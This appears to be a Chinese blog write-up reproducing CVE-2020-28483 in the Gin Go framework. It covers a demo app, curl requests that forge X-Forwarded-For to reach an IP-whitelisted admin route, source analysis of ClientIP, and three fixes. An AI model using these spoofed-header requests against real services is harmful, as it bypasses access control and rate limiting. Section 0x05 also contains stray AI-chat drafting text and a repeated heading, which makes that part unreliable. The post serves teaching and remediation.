Featured image of post 漏洞复现 CVE-2020-28483:Gin 框架 XFF 伪造 IP 绕过访问控制

漏洞复现 CVE-2020-28483:Gin 框架 XFF 伪造 IP 绕过访问控制

gin 框架所有版本默认无条件信任 X-Forwarded-For 请求头,攻击者只需添加一个 HTTP 头即可伪造任意客户端 IP,绕过基于 IP 的访问控制、限流、审计机制。本文从漏洞复现、原理分析、源码审计到修复方案进行完整讲解。

漏洞复现 CVE-2020-28483:Gin 框架 XFF 伪造 IP 绕过访问控制

gin 框架所有版本默认无条件信任 X-Forwarded-For 请求头,当 gin 直接暴露在公网时,攻击者只需在请求中添加一个 HTTP 头,即可伪造任意客户端 IP,绕过一切基于 c.ClientIP() 的访问控制、限流、审计机制。


0x00 TL;DR

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

漏洞本质: 伪造 HTTP 头 → 欺骗 IP 识别 → 绕过访问控制
影响版本: gin 全版本(修复于 1.7.0)
利用难度: ★☆☆☆☆
危害等级: CVSS 3.1 → 7.1 HIGH
前置条件: gin 直接暴露公网 + 用 ClientIP() 做安全决策
修复方案: 
	方案1:升级 >= 1.7.0 + 配置 TrustedProxies(生产推荐)
	方案2:禁用 ForwardedByClientIP(完全不信任 XFF)
	方案3:不依赖 ClientIP(),自行解析 TCP 地址

0x01 环境搭建

Step 1: 初始化项目

1
2
3
mkdir cve-2020-28483
cd cve-2020-28483
go mod init cve-2020-28483

Step 2: 添加依赖

1
go get github.com/gin-gonic/gin@v1.6.3

Step 3: 验证 go.mod

1
cat go.mod
1
2
3
4
5
module cve-2020-28483

go 1.25.0

require github.com/gin-gonic/gin v1.6.3

Step 4: 创建 main.go

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
package main

import (
	"net/http"

	"github.com/gin-gonic/gin"
)

func main() {
	r := gin.Default()

	r.GET("/admin", func(ctx *gin.Context) {
		clientIP := ctx.ClientIP()
		if clientIP == "127.0.0.1" {
			ctx.JSON(http.StatusOK, gin.H{
				"message":   "Welcome, tructed admin!",
				"client_ip": clientIP,
				"secret":    "FLAG{CVE-2020-28483}",
			})
		} else {
			ctx.JSON(http.StatusForbidden, gin.H{
				"message":   "Access Denied",
				"client_ip": clientIP,
			})
		}
	})

	r.GET("/whoami", func(ctx *gin.Context) {
		ctx.JSON(http.StatusOK, gin.H{
			"your_ip": ctx.ClientIP(),
			"xff":     ctx.GetHeader("X-Forwarded-For"),
			"remote":  ctx.Request.RemoteAddr,
		})
	})

	r.Run(":8080")
}

Step 5: 启动服务

1
2
go mod tidy
go run main.go
1
2
3
[GIN-debug] GET    /admin
[GIN-debug] GET    /whoami
[GIN-debug] Listening and serving HTTP on :8080

0x02 漏洞复现

正常请求 — 被拒绝

1
curl -s http://localhost:8080/admin | python3 -m json.tool
1
2
3
4
{
    "client_ip": "::1",
    "message": "Access Denied"
}

本地直连识别为 ::1(IPv6 localhost),不在白名单内,被拒绝。


伪造 X-Forwarded-For — 绕过白名单

1
2
curl -s http://localhost:8080/admin \
  -H "X-Forwarded-For: 127.0.0.1" | python3 -m json.tool
1
2
3
4
5
{
    "client_ip": "127.0.0.1",
    "message": "Welcome, tructed admin!",
    "secret": "FLAG{CVE-2020-28483}"
}

一个 HTTP 头,白名单消失。


用 /whoami 看清楚发生了什么

不带伪造头

1
curl -s http://localhost:8080/whoami | python3 -m json.tool
1
2
3
4
5
{
    "remote": "[::1]:51052",
    "xff": "",
    "your_ip": "::1"
}

带伪造头

1
2
curl -s http://localhost:8080/whoami \
  -H "X-Forwarded-For: 8.8.8.8" | python3 -m json.tool
1
2
3
4
5
{
    "remote": "[::1]:50174",
    "xff": "8.8.8.8",
    "your_ip": "8.8.8.8"
}

关键对比

  • remote = TCP 层真实地址 [::1]:50174(OS 保证,无法伪造)
  • your_ip = gin 读 HTTP 头得到的 8.8.8.8(可随意伪造)

2.4 多级 IP 链伪造

1
2
curl -s http://localhost:8080/admin \
  -H "X-Forwarded-For: 127.0.0.1, 10.0.0.1, 172.16.0.1" | python3 -m json.tool
1
2
3
4
5
{
    "client_ip": "127.0.0.1",
    "message": "Welcome, tructed admin!",
    "secret": "FLAG{CVE-2020-28483}"
}

gin 取 XFF 的第一个值 127.0.0.1,成功伪造为白名单内的 IP。

0x03 原理分析

3.1 X-Forwarded-For 是什么?

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
【正常场景 — 有代理保护】

你的浏览器 (真实IP: 1.2.3.4)
        |
        v
Nginx 反向代理
        | 追加: X-Forwarded-For: 1.2.3.4
        v
Gin 后端应用
        | ctx.ClientIP() 读 XFF → 1.2.3.4 [OK] 正确


【漏洞场景 — gin 直接暴露公网】

攻击者 (真实IP: 5.6.7.8)
        | 自己写: X-Forwarded-For: 127.0.0.1
        v
Gin 后端应用 (无代理拦截)
        | ctx.ClientIP() 读 XFF → 127.0.0.1 [FAIL] 被骗了

XFF 是 HTTP 头,HTTP 头是攻击者自己写的,没有任何机制保证它的真实性。只有当你信任的代理帮你写这个头时,它才可信。


3.2 受影响的真实场景

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
你的应用用 ctx.ClientIP() 做了以下任何一件事?

  ┌─────────────────────────────────────────┐
  │  IP 白名单 / 管理后台访问控制            │ <- 可被绕过
  │  基于 IP 的限流 / 防爆破                 │ <- 可被绕过
  │  安全审计日志 / 溯源记录                 │ <- 可被污染
  │  GeoIP 地理位置限制                      │ <- 可被绕过
  │  风控系统的 IP 信誉评分                  │ <- 可被绕过
  └─────────────────────────────────────────┘
          |
      全部可以用一个 HTTP 头绕过

3.3 gin v1.6.3 的 ClientIP() 逻辑

来源: https://github.com/gin-gonic/gin/pull/2474/changes

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
// [VULN] gin v1.6.3 — context.go L731-750
// Use X-forwarded-For before X-Real-Ip as nginx uses X-Real-IP with the proxy's IP.
func (c *Context) ClientIP() string {
    if c.engine.ForwardedByClientIP {
        // Line 733: 读取 X-Forwarded-For 头
        clientIP := c.requestHeader("X-Forwarded-For")
        
        // Line 734: 按逗号分割,取第一个值
        clientIP = strings.TrimSpace(strings.Split(clientIP, ",")[0])
        
        // Line 735: 如果非空,直接返回 <- [VULN] 零验证
        if clientIP != "" {
            return clientIP  // <- 攻击者写什么就返回什么
        }
        
        // Line 736: fallback 到 X-Real-Ip
        clientIP = strings.TrimSpace(c.requestHeader("X-Real-Ip"))
        
        // Line 738: 同样直接返回
        if clientIP != "" {
            return clientIP  // <- 同样可伪造
        }
    }
    
    // Line 743: 检查 AppEngine(Google App Engine)
    if c.engine.AppEngine {
        if addr := c.requestHeader("X-Appengine-Remote-Addr"); addr != "" {
            return addr
        }
    }
    
    // Line 749: 最后才读真实 TCP 地址
    if ip, _, err := net.SplitHostPort(
        strings.TrimSpace(c.Request.RemoteAddr)); err == nil {
        return ip
    }
    
    // Line 750: 兜底
    return c.Request.RemoteAddr
}

执行流程图解

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
请求进来: X-Forwarded-For: 8.8.8.8

Line 732: ForwardedByClientIP == true?  (默认 true)
            |
Line 733: 读 X-Forwarded-For 头 -> "8.8.8.8"
            |
Line 734: Split(",")[0] -> "8.8.8.8"
            |
Line 735: clientIP != "" ? 是
            |
Line 739: return clientIP -> "8.8.8.8"  <- 没有任何来源验证
            |
ctx.ClientIP() = "8.8.8.8"  <- 直接返回给应用

3.4 漏洞的本质

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
gin v1.6.3 的信任链:

应用层 HTTP 头 (XFF)  <- Line 733
        |
    直接信任 <- [FAIL] 这是漏洞根源
        |
ctx.ClientIP() 返回值  <- Line 739
        |
用于安全决策(IP 白名单、限流等)
        |
    被绕过

正确的信任链应该是

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
TCP 层真实 IP (RemoteAddr)  <- Line 749 不可伪造
        |
这是代理吗?
        ├─ 是可信代理 -> 信任 XFF 头 (Line 733)
        └─ 否 -> 忽略 XFF,用 RemoteAddr (Line 749)
        |
ctx.ClientIP() 返回值
        |
用于安全决策
        |
    安全 [OK]

0x04 源码审计

完整源码流程追踪

从实际请求开始,逐行追踪源码执行:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
HTTP 请求
  |
  v
Gin Router 匹配路由
  |
  v
Handler 执行: ctx.ClientIP()  <- context.go L731
  |
  +---> Line 732: if c.engine.ForwardedByClientIP {
  |        |
  |        +---> Line 733: clientIP := c.requestHeader("X-Forwarded-For")
  |        |        |
  |        |        | 调用 requestHeader() 方法
  |        |        v
  |        |        func (c *Context) requestHeader(key string) string {
  |        |            return c.Request.Header.Get(key)
  |        |        }
  |        |        |
  |        |        +---> 返回 HTTP 头值(攻击者控制)
  |        |
  |        +---> Line 734: strings.Split(clientIP, ",")[0]
  |        |        |
  |        |        | 按逗号分割,取第一个值
  |        |        | "127.0.0.1, 10.0.0.1" -> "127.0.0.1"
  |        |
  |        +---> Line 735: if clientIP != "" {
  |        |        |
  |        |        +---> Line 739: return clientIP  <- [VULN]
  |        |
  |        +---> (如果 XFF 为空,继续)
  |        |
  |        +---> Line 736: clientIP := c.requestHeader("X-Real-Ip")
  |        |
  |        +---> Line 738: if clientIP != "" {
  |        |        +---> Line 739: return clientIP  <- [VULN]
  |
  +---> Line 743: if c.engine.AppEngine {
  |        |
  |        +---> Line 744: if addr := c.requestHeader("X-Appengine-Remote-Addr"); addr != "" {
  |        |        +---> Line 745: return addr  <- [VULN]
  |
  +---> Line 749: if ip, _, err := net.SplitHostPort(
  |        |        strings.TrimSpace(c.Request.RemoteAddr)); err == nil {
  |        |        |
  |        |        | 解析 TCP RemoteAddr
  |        |        | "[::1]:51052" -> "::1"
  |        |        |
  |        |        +---> Line 750: return ip  <- [OK] 真实 IP
  |
  +---> Line 752: return c.Request.RemoteAddr  <- 兜底

关键变量分析

c.engine.ForwardedByClientIP

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
// engine.go 中的定义
type Engine struct {
    // ...
    ForwardedByClientIP bool  // 默认值是什么?
    // ...
}

// 初始化代码(engine.go)
func New() *Engine {
    engine := &Engine{
        // ...
        ForwardedByClientIP: true,  // <- 默认开启!
        // ...
    }
    return engine
}

问题:即使你没有显式配置,ForwardedByClientIP 也默认为 true,导致所有请求都会尝试读 XFF。


requestHeader() 方法

1
2
3
4
// context.go 中的实现
func (c *Context) requestHeader(key string) string {
    return c.Request.Header.Get(key)
}

这个方法做了什么

  • 直接调用 http.Request.Header.Get(key)
  • 返回 HTTP 头的值
  • 零验证,零过滤

攻击者可以设置任意值

1
2
3
4
curl http://target:8080/admin \
  -H "X-Forwarded-For: 127.0.0.1" \
  -H "X-Real-Ip: 192.168.1.1" \
  -H "X-Appengine-Remote-Addr: 10.0.0.1"

gin 会按优先级依次尝试,取第一个非空的值。


strings.Split() 的陷阱

1
2
// Line 734 的操作
clientIP := strings.Split(clientIP, ",")[0]

这行代码的问题

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
输入: "127.0.0.1, 10.0.0.1, 172.16.0.1"

strings.Split(",") 结果:
  [0] = "127.0.0.1"
  [1] = " 10.0.0.1"    <- 注意前面有空格
  [2] = " 172.16.0.1"

[0] 被返回: "127.0.0.1"

Line 734 之后有 TrimSpace,但只作用于最终结果
实际上 "127.0.0.1" 已经被取出来了

攻击者可以利用这一点

1
2
3
4
# 多级链伪造
curl http://target:8080/admin \
  -H "X-Forwarded-For: 127.0.0.1, 10.0.0.1, 172.16.0.1"
# gin 取第一个 "127.0.0.1" -> 成功伪造

Request.RemoteAddr 的真实性

1
2
3
4
5
// Line 749 的操作
if ip, _, err := net.SplitHostPort(
    strings.TrimSpace(c.Request.RemoteAddr)); err == nil {
    return ip
}

RemoteAddr 来自哪里

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
HTTP 服务器接收连接时:

1. TCP 三次握手完成
2. OS 内核记录连接的源 IP 和源端口
3. Go 的 net 包读取这个信息
4. 存储在 http.Request.RemoteAddr 中

示例值: "[::1]:51052"
       |    |      |
       |    |      +-- 源端口(攻击者无法控制)
       |    +--------- 源 IP(来自 TCP 层,无法伪造)
       +-------------- IPv6 格式

为什么无法伪造

  • 攻击者无法改变自己的源 IP(除非控制网络基础设施)
  • 即使攻击者尝试伪造源 IP,操作系统会验证 TCP 三次握手
  • 伪造的包会被丢弃,连接无法建立

漏洞修复对比(v1.7.0+)

来源: https://github.com/gin-gonic/gin/pull/2474/changes

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
// ClientIP implements a best effort algorithm to return the real client IP, it parses
// X-Real-IP and X-Forwarded-For in order to work properly with reverse-proxies such us: nginx or haproxy.
// Use X-Forwarded-For before X-Real-Ip as nginx uses X-Real-Ip with the proxy's IP.
func (c *Context) ClientIP() string {
	if c.engine.ForwardedByClientIP && c.engine.RemoteIPHeaders != nil {
		for _, header := range c.engine.RemoteIPHeaders {
			ipChain := filterIPsFromUntrustedProxies(c.requestHeader(header), c.Request, c.engine)
			if len(ipChain) > 0 {
				return ipChain[0]
			}
		}
	}

	if c.engine.AppEngine {
		if addr := c.requestHeader("X-Appengine-Remote-Addr"); addr != "" {
			return addr
		}
	}

	ip, _ := getTransportPeerIPForRequest(c.Request)

	return ip
}

func filterIPsFromUntrustedProxies(XForwardedForHeader string, req *http.Request, e *Engine) []string {
	var items, out []string
	if XForwardedForHeader != "" {
		items = strings.Split(XForwardedForHeader, ",")
	} else {
		return []string{}
	}
	if peerIP, err := getTransportPeerIPForRequest(req); err == nil {
		items = append(items, peerIP)
	}

	for i := len(items) - 1; i >= 0; i-- {
		item := strings.TrimSpace(items[i])
		ip := net.ParseIP(item)
		if ip == nil {
			return out
		}

		out = prependString(ip.String(), out)
		if !isTrustedProxy(ip, e) {
			return out
		}
		//		out = prependString(ip.String(), out)
	}
	return out
}

func isTrustedProxy(ip net.IP, e *Engine) bool {
	for _, trustedProxy := range e.TrustedProxies {
		if _, ipnet, err := net.ParseCIDR(trustedProxy); err == nil {
			if ipnet.Contains(ip) {
				return true
			}
			continue
		}

		if proxyIP := net.ParseIP(trustedProxy); proxyIP != nil {
			if proxyIP.Equal(ip) {
				return true
			}
			continue
		}

		if addrs, err := e.lookupHost(trustedProxy); err == nil {
			for _, proxyAddr := range addrs {
				proxyIP := net.ParseIP(proxyAddr)
				if proxyIP == nil {
					continue
				}
				if proxyIP.Equal(ip) {
					return true
				}
			}
		}
	}
	return false
}

func prependString(ip string, ipList []string) []string {
	ipList = append(ipList, "")
	copy(ipList[1:], ipList)
	ipList[0] = string(ip)
	return ipList
}

func getTransportPeerIPForRequest(req *http.Request) (string, error) {
	var err error
	if ip, _, err := net.SplitHostPort(strings.TrimSpace(req.RemoteAddr)); err == nil {
		return ip, nil
	}
	return "", err
}

修复的关键差异

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
v1.6.3 (漏洞版):
  XFF 头 -> 直接取第一个值 -> 返回
  完全没有验证这个请求是否来自可信代理

v1.7.0 (修复版):
  XFF 头 -> 从右往左遍历 -> 检查每个 IP 是否在 TrustedProxies 中
         -> 遇到不可信 IP 停止 -> 返回停止点之后的 IP
  
  本质:从 TCP 层已知的真实对端 IP 往左回溯,
       只要链路中出现不可信节点就停,不再往左信任

修复后的效果

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
场景:gin 直接暴露公网,TrustedProxies = nil

攻击者请��: X-Forwarded-For: 127.0.0.1

items = ["127.0.0.1", "5.6.7.8(真实TCP)"]

从右往左遍历:
  i=1: "5.6.7.8" -> isTrustedProxy("5.6.7.8") -> false (TrustedProxies 为空)
       -> 停止,返回 ["5.6.7.8"]

ClientIP() = "5.6.7.8"  <- 返回真实 IP,攻击失败

源码对比总结

版本关键行逻辑安全性
v1.6.3L733-739直接读 XFF,无验证[FAIL]
v1.7.0+filterIPsFromUntrustedProxies从 TCP IP 往左回溯,遇不可信 IP 停止[OK]

0x05 修复方案

你说得对,我需要查证 gin v1.7.0 的实际 API。让我重新编写 0x05 修复方案。

让我查找 Engine 结构体的定义:

让我查找 ForwardedByClientIP 的定义:

现在我明白了。这份源码中有 TrustedProxies 字段,说明这已经是修复版本。让我重新编写 0x05,基于实际的修复方式:


0x05 修复方案

5.1 方案 1:升级 gin + 配置 TrustedProxies(生产推荐)

Step 1: 升级 gin 到修复版本

1
2
3
4
5
# 查看当前版本
go list -m github.com/gin-gonic/gin

# 升级到最新版本(包含修复)
go get -u github.com/gin-gonic/gin

Step 2: 在 main.go 中配置 TrustedProxies

修复版本的 gin 在 Engine 结构体中增加了 TrustedProxies 字段,需要在初始化时配置:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
package main

import (
	"net/http"

	"github.com/gin-gonic/gin"
)

func main() {
	r := gin.Default()

	// 配置可信代理列表
	// 只有来自这些 IP/网段的代理转发的 XFF 才被采信
	r.TrustedProxies = []string{
		"10.0.0.0/8",       // 内网 A 类
		"172.16.0.0/12",    // 内网 B 类
		"192.168.0.0/16",   // 内网 C 类
		"127.0.0.1",        // 本地代理
	}

	r.GET("/admin", func(ctx *gin.Context) {
		clientIP := ctx.ClientIP()
		if clientIP == "127.0.0.1" {
			ctx.JSON(http.StatusOK, gin.H{
				"message":   "Welcome, tructed admin!",
				"client_ip": clientIP,
				"secret":    "FLAG{CVE-2020-28483}",
			})
		} else {
			ctx.JSON(http.StatusForbidden, gin.H{
				"message":   "Access Denied",
				"client_ip": clientIP,
			})
		}
	})

	r.GET("/whoami", func(ctx *gin.Context) {
		ctx.JSON(http.StatusOK, gin.H{
			"your_ip": ctx.ClientIP(),
			"xff":     ctx.GetHeader("X-Forwarded-For"),
			"remote":  ctx.Request.RemoteAddr,
		})
	})

	r.Run(":8080")
}

Step 3: 更新依赖

1
2
go mod tidy
go run main.go

Step 4: 验证修复效果

1
2
3
# 升级后,攻击失败
curl -s http://localhost:8080/admin \
  -H "X-Forwarded-For: 127.0.0.1" | python3 -m json.tool
1
2
3
4
{
    "client_ip": "::1",
    "message": "Access Denied"
}

攻击者伪造的 XFF 被忽略,返回真实 TCP IP ::1


5.2 方案 2:禁用 ForwardedByClientIP(完全不信任 XFF)

适用场景

  • gin 直接绑定 0.0.0.0:8080,无任何代理
  • 不需要识别客户端真实 IP

修改代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package main

import (
	"net/http"

	"github.com/gin-gonic/gin"
)

func main() {
	r := gin.Default()

	// 关键:禁用 ForwardedByClientIP
	// 此时 ctx.ClientIP() 将直接返回 TCP RemoteAddr,忽略所有 XFF 相关头
	r.ForwardedByClientIP = false

	r.GET("/admin", func(ctx *gin.Context) {
		clientIP := ctx.ClientIP()
		if clientIP == "127.0.0.1" {
			ctx.JSON(http.StatusOK, gin.H{
				"message":   "Welcome, tructed admin!",
				"client_ip": clientIP,
				"secret":    "FLAG{CVE-2020-28483}",
			})
		} else {
			ctx.JSON(http.StatusForbidden, gin.H{
				"message":   "Access Denied",
				"client_ip": clientIP,
			})
		}
	})

	r.GET("/whoami", func(ctx *gin.Context) {
		ctx.JSON(http.StatusOK, gin.H{
			"your_ip": ctx.ClientIP(),
			"xff":     ctx.GetHeader("X-Forwarded-For"),
			"remote":  ctx.Request.RemoteAddr,
		})
	})

	r.Run(":8080")
}

验证修复效果

1
2
3
# 即使伪造 XFF,也被忽略
curl -s http://localhost:8080/whoami \
  -H "X-Forwarded-For: 8.8.8.8" | python3 -m json.tool
1
2
3
4
5
{
    "remote": "[::1]:51052",
    "xff": "8.8.8.8",
    "your_ip": "::1"
}

your_ip 返回真实 TCP IP,XFF 头被完全忽略


5.3 方案 3:不依赖 ClientIP(),自行解析 TCP 地址

适用场景

  • 需要完全控制 IP 识别逻辑
  • 不想依赖 gin 的 ClientIP() 方法

创建工具函数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
package main

import (
	"net"
	"strings"

	"github.com/gin-gonic/gin"
)

// getRealIP 从 TCP 层获取真实 IP,无法伪造
func getRealIP(c *gin.Context) string {
	// 从 RemoteAddr 直接解析(最安全)
	ip, _, err := net.SplitHostPort(strings.TrimSpace(c.Request.RemoteAddr))
	if err == nil {
		return ip
	}

	// 兜底,直接返回 RemoteAddr
	return c.Request.RemoteAddr
}

在 Handler 中使用

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
func main() {
	r := gin.Default()

	r.GET("/admin", func(ctx *gin.Context) {
		// 使用自定义函数获取真实 IP
		clientIP := getRealIP(ctx)
		
		if clientIP == "127.0.0.1" {
			ctx.JSON(http.StatusOK, gin.H{
				"message":   "Welcome, tructed admin!",
				"client_ip": clientIP,
				"secret":    "FLAG{CVE-2020-28483}",
			})
		} else {
			ctx.JSON(http.StatusForbidden, gin.H{
				"message":   "Access Denied",
				"client_ip": clientIP,
			})
		}
	})

	r.GET("/whoami", func(ctx *gin.Context) {
		ctx.JSON(http.StatusOK, gin.H{
			"your_ip": getRealIP(ctx),
			"xff":     ctx.GetHeader("X-Forwarded-For"),
			"remote":  ctx.Request.RemoteAddr,
		})
	})

	r.Run(":8080")
}

验证修复效果

1
2
curl -s http://localhost:8080/whoami \
  -H "X-Forwarded-For: 8.8.8.8" | python3 -m json.tool
1
2
3
4
5
{
    "remote": "[::1]:51052",
    "xff": "8.8.8.8",
    "your_ip": "::1"
}

即使伪造 XFF,your_ip 仍然返回真实 TCP IP


5.4 三种方案对比

方案升级成本代理支持安全性适用场景
A: 升级 + TrustedProxies支持[OK]有代理的生产环境
B: ForwardedByClientIP = false不支持[OK]gin 直接暴露公网
C: 自定义 getRealIP()自定义[OK]需要完全控制逻辑

5.5 方案选择指南

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
你的部署架构是什么?

┌─ 有反向代理(Nginx/LB)
│   └─> 使用方案 A
│       r.TrustedProxies = []string{"代理IP或网段"}
├─ gin 直接暴露公网,无代理
│   └─> 使用方案 B
│       r.ForwardedByClientIP = false
└─ 需要自定义 IP 识别逻辑
    └─> 使用方案 C
        自定义 getRealIP() 函数

5.6 验证修复是否生效

测试脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/bin/bash

echo "[*] 测试修复效果"
echo ""

echo "[1] 正常请求(无伪造)"
curl -s http://localhost:8080/whoami | python3 -m json.tool
echo ""

echo "[2] 伪造 X-Forwarded-For: 8.8.8.8"
curl -s http://localhost:8080/whoami \
  -H "X-Forwarded-For: 8.8.8.8" | python3 -m json.tool
echo ""

echo "[3] 伪造多级链"
curl -s http://localhost:8080/whoami \
  -H "X-Forwarded-For: 127.0.0.1, 10.0.0.1, 172.16.0.1" | python3 -m json.tool
echo ""

echo "[4] 尝试访问 /admin(应该被拒绝)"
curl -s http://localhost:8080/admin \
  -H "X-Forwarded-For: 127.0.0.1" | python3 -m json.tool
echo ""

echo "[*] 如果所有伪造都被忽略,修复成功"

预期输出(修复后):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
[*] 测试修复效果

[1] 正常请求(无伪造)
{
    "remote": "[::1]:51052",
    "xff": "",
    "your_ip": "::1"
}

[2] 伪造 X-Forwarded-For: 8.8.8.8
{
    "remote": "[::1]:51052",
    "xff": "8.8.8.8",
    "your_ip": "::1"
}

[3] 伪造多级链
{
    "remote": "[::1]:51052",
    "xff": "127.0.0.1, 10.0.0.1, 172.16.0.1",
    "your_ip": "::1"
}

[4] 尝试访问 /admin(应该被拒绝)
{
    "client_ip": "::1",
    "message": "Access Denied"
}

[*] 如果所有伪造都被忽略,修复成功

所有伪造的 XFF 都被忽略,your_ip 始终返回真实 TCP IP ::1,修复成功

0x06 参考资料

使用 Hugo 构建
主题 StackJimmy 设计